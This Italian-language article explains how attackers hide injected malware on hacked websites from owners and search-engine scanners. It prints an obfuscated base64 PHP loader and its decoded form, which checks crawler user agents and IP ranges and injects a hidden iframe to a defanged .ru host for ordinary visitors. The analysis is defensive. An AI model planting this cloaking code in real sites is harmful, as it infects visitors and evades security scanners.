Una volta che un cracker riesce a penetrare le difese di un sito web, è pratica comune, cercare di inserirvi malware utili ad uno scopo. I crackers impiegano metodologie di IP Masking, User Agent Masking o una combinazione delle due, per cercare di mantenere nascosto il loro codice malevolo al proprietario del sito e agli scanner delle “big” del web (Google ad esempio).
Occultare il codice al proprietario del sito, fa si che l’infezioni perduri per molto tempo prima che venga trovata e corretta definitivamente.

Nascondere l’esecuzione del codice malevolo agli scanner dei motori di ricerca invece, fa in modo che il sito non venga marcato come malevolo al primo scan, e quindi sia in grado di accogliere visitatori e possibili vittime dagli stessi motori di ricerca.

Un esempio di codice offuscato è il seguente:

eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0K.... [ancora codice codificato in base 64] ....iMSI+PC9pZnJhbWU+JzsNCn0');

Che decodificato nella sua interezza può voler eseguire qualcosa di questo tipo:

error_reporting(0); 
$bot = FALSE ;
 
// Le due variabili seguenti sono array che contengono gli User Agent e gli IP da controllare.
 
$user_agent_to_filter = array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru',
'alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com',
'anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools',
'arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api'); 
 
$stop_ips_masks = array(  array("216.239.32.0","216.239.63.255"),  array("64.68.80.0"  ,"64.68.87.255"  ),  array("66.102.0.0",  "66.102.15.255"),  array("64.233.160.0","64.233.191.255"),  array("66.249.64.0", "66.249.95.255"),  array("72.14.192.0", "72.14.255.255"),  array("209.85.128.0","209.85.255.255"),  array("198.108.100.192","198.108.100.207"),  array("173.194.0.0","173.194.255.255"),  array("216.33.229.144","216.33.229.151"),  array("216.33.229.160","216.33.229.167"),  array("209.185.108.128","209.185.108.255"),  array("216.109.75.80","216.109.75.95"),  array("64.68.88.0","64.68.95.255"),  array("64.68.64.64","64.68.64.127"),  array("64.41.221.192","64.41.221.207"),  array("74.125.0.0","74.125.255.255"),  array("65.52.0.0","65.55.255.255"),  array("74.6.0.0","74.6.255.255"),  array("67.195.0.0","67.195.255.255"),  array("72.30.0.0","72.30.255.255"),  array("38.0.0.0","38.255.255.255")  ); 
 
// Questa parte del codice controlla che l'ip o l'user agent che richiedono la pagina non siano negli array sopra.
 
$my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR'])); foreach ( $stop_ips_masks as $IPs ) {  $first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1]));  if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;} } foreach ($user_agent_to_filter as $bot_sign){  if  (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;} }
 
// Se la richiesta alla pagina non è da parte di un bot sopra appuntato, si inserisce l'iframe malevolo 
 
if (!$bot) 
 { 
   echo '<iframe src="hxxp://xxxxx.ru/dXJsLW1hbGV2b2xh" width="1" height="1"></iframe>'; 
 }

Partendo dalla fine del codice, notiamo che l’iframe si occupera di caricare il payload malevolo, ottenendolo dal sito:

hxxp://xxxxx.ru/dXJsLW1hbGV2b2xh

Le variabili $_SERVER[‘REMOTE_ADDR’] e $_SERVER[‘HTTP_USER_AGENT’] sono variabili php che conterranno l’indirizzo IP del computer che effettua la richiesta alla pagina infetta, e l’user agent (browser o bot che sia) usato per effettuare questa richiesta. Se lo script ottiene un riscontro con un valore contenuto negli array $user_agent_to_filter o $stop_ips_masks, setterà il valore di $bot a true e l’iframe non verrà inserito.

L’array $user_agent_to_filter contiene le stringhe da controllare con il valore del corrente user agent. Che è fatto in questo pezzo di codice:

if (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false) {$bot = true; break;}

La funzione php strpos controlla se una delle parole presenti in $user_agent_to_filter appare nel valore di $_SERVER[‘HTTP_USER_AGENT’], se il risultato è positivo allora viene impostato il valore di $bot a true e l’iframe non verrà mostrato.

Lo stesso discorso vale per $stop_ips_masks che contiene gli ip da controllare e appartenenti ad alcuni dei server bot usati da google, bing, yahoo etc per scansionare la rete.

Inoltre, ogni volta che uno script inizia per error_reporting(0); non è una buona cosa.
L’istruzione serve infatti a nascondere qualsiasi possibile errore. E serve in questo caso, per rendere lo script il più invisibile possibile anche in caso di errori generati da quest’ultimo.
In uno script normale, raramente vedremo qualcosa di questo tipo.

Questo tipo di IP e User Agent Masking è molto comune, specie con hacks mirati allo spam.
Dove si potrebbe ad esempio ragionare al contrario, mostrano i link/iframe ai siti esterni soltanto ai motori di ricerca (quindi ai bot) e non ai comuni utenti, in questo modo, in termini di indicizzazione l’hack avrà effetto, ma a livello di utenza, non ci si accorgerà di nulla.